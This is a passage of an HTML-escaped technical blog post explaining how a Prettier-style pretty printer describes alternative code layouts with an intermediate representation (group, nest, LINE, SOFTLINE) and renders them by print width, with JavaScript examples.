language-specific. &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/xml-printer.js#L14-L70&quot;&gt;Here is an example of translation logic for
XML&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;describing-different-layouts&quot;&gt;Describing different layouts&lt;/h3&gt;

&lt;p&gt;The RHS is an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ArrowFunctionExpression&lt;/code&gt; and we want the pretty output to be
rendered differently depending on the print width value because such functions
might have long parameter names, default values, etc. The idea is to print all
the arguments of the function on the same line if the total width is less than
the print width, otherwise we want to print each argument on its own line. The
IR should describe these two options, without having to specify actual values.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;group&lt;/code&gt; function (Prettier calls it a “command”) is used to describe content
that should be kept on a single line (like concatenation above) but, if it does
not fit, should be broken at specific locations. These locations are defined
with different &lt;em&gt;lines&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HARDLINE&lt;/code&gt;: specify a line break that is always included in the output, even
if the expression does not fit on a single line&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINE&lt;/code&gt;: specify a line break. If an expression fits on one line, the line
break will be replaced with a space&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOFTLINE&lt;/code&gt;: specify a line break. The difference from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINE&lt;/code&gt; is that if the
expression fits on a single line, it will be replaced with nothing (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NIL&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We want to break after each function argument so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINE&lt;/code&gt; looks like a good fit.
Let’s create a group and add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINE&lt;/code&gt; between each parameter (name, default value
if any, and comma).&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// This is what we had before.&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;const &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;renderDocument&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// This is NEW!&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;LINE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fits&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;LINE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;indentPrefix&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; =&amp;gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// This is what we had before.&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This would produce the following pretty outputs:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;//-----------------------------------------------------------------------------| &amp;lt;- 80 chars (broken layout was used)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderDocument&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;fits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;indentPrefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;//---------------------------------------------------------------------------------------------------------------------| &amp;lt;- 120 chars (flat layout was used)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderDocument&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;indentPrefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ugh! The &lt;em&gt;broken&lt;/em&gt; layout version isn’t pretty. We should probably break &lt;em&gt;after&lt;/em&gt;
the opening parenthesis using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOFTLINE&lt;/code&gt;, align all the arguments with one
level of indentation and probably break before the closing parenthesis as well.&lt;/p&gt;

&lt;p&gt;We can use a new function named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nest()&lt;/code&gt; that will change the current
indentation level. This abstraction allows to later render the same input with 2
spaces, 4 spaces or even tabs. Indentation is only updated after a hard line,
which is why we don’t have to specify that it only applies to the &lt;em&gt;broken&lt;/em&gt;
layout.&lt;/p&gt;

&lt;p&gt;Here is the final IR of our function:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;const &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;renderDocument&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

      &lt;span class=&quot;c1&quot;&gt;// This is NEW!&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;nest&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;indent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;SOFTLINE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;LINE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fits&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;nx&quot;&gt;LINE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;indentPrefix&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// This is NEW!&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;SOFTLINE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; =&amp;gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;the-renderer&quot;&gt;The renderer&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L124&quot;&gt;logic to render the IR to pretty content&lt;/a&gt; is generic because the
intermediate representation contains all the needed information. When the
renderer finds a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;group&lt;/code&gt; (see &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L231-L241&quot;&gt;here&lt;/a&gt;), it will measure the
length of the output when its content is appended on the same line. If this
length is lower than the print width, that’s what gets rendered, otherwise the
renderer switches to the &lt;em&gt;broken&lt;/em&gt; layout.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINE&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOFTLINE&lt;/code&gt; are implemented with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flatChoice&lt;/code&gt; function under the
hood, which is defined as follows:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;flat-choice&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;whenBroken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;used when layout is broken&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;whenFlat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;used when layout is flat&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// This is how `LINE` is defined in my implementation.&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;LINE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;flatChoice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;HARDLINE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L1-L45&quot;&gt;There are other functions&lt;/a&gt; but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;group&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flatChoice&lt;/code&gt; are
the ones used to describe multiple layouts and therefore very important.&lt;/p&gt;

&lt;p&gt;The IR presented in this article gives us some rendering configuration options
“for free”:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;the desired print width: used to determine when to use the &lt;em&gt;broken&lt;/em&gt; layout
(which is used by a &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L69&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fits()&lt;/code&gt; function&lt;/a&gt; under the hood)&lt;/li&gt;
  &lt;li&gt;the “type” of indentation: used when the indentation level changes. With
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nest()&lt;/code&gt;, the IR tells the renderer to indent or dedent the content that
follows by &lt;em&gt;N&lt;/em&gt; levels. The renderer is free to use &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L121&quot;&gt;any number of spaces or
tabs for a single indentation level&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;the control character to use to indicate the end of a line: while we probably
always want &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\n&lt;/code&gt;, it could be &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/document.js#L120&quot;&gt;any other character&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;results&quot;&gt;Results&lt;/h3&gt;

&lt;p&gt;Rendering the full intermediate representation shown previously would give
different outputs depending on the print width value:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;//-----------------------------------------------------------------------------| &amp;lt;- 80 chars&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderDocument&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;fits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;indentPrefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;//---------------------------------------------------------------------------------------------------------------------| &amp;lt;- 120 chars&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;renderDocument&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;doc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_FITS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;indentPrefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_INDENT_PREFIX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;🎉🎉🎉&lt;/p&gt;

&lt;h2 id=&quot;it-is-more-complicated-than-that&quot;&gt;It is more complicated than that.&lt;/h2&gt;

&lt;p&gt;Is it &lt;em&gt;that&lt;/em&gt; simple? &lt;strong&gt;No.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I have been lying to you! Did you see an example with a comment? Or with
multiple logical blocks? This is where things start to be complicated.&lt;/p&gt;

&lt;h3 id=&quot;empty-lines&quot;&gt;Empty lines&lt;/h3&gt;

&lt;p&gt;Let’s consider the example thereafter, which has two “logical blocks”. First, we
have two variables defined and grouped together and then a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.log&lt;/code&gt; call:&lt;/p&gt;

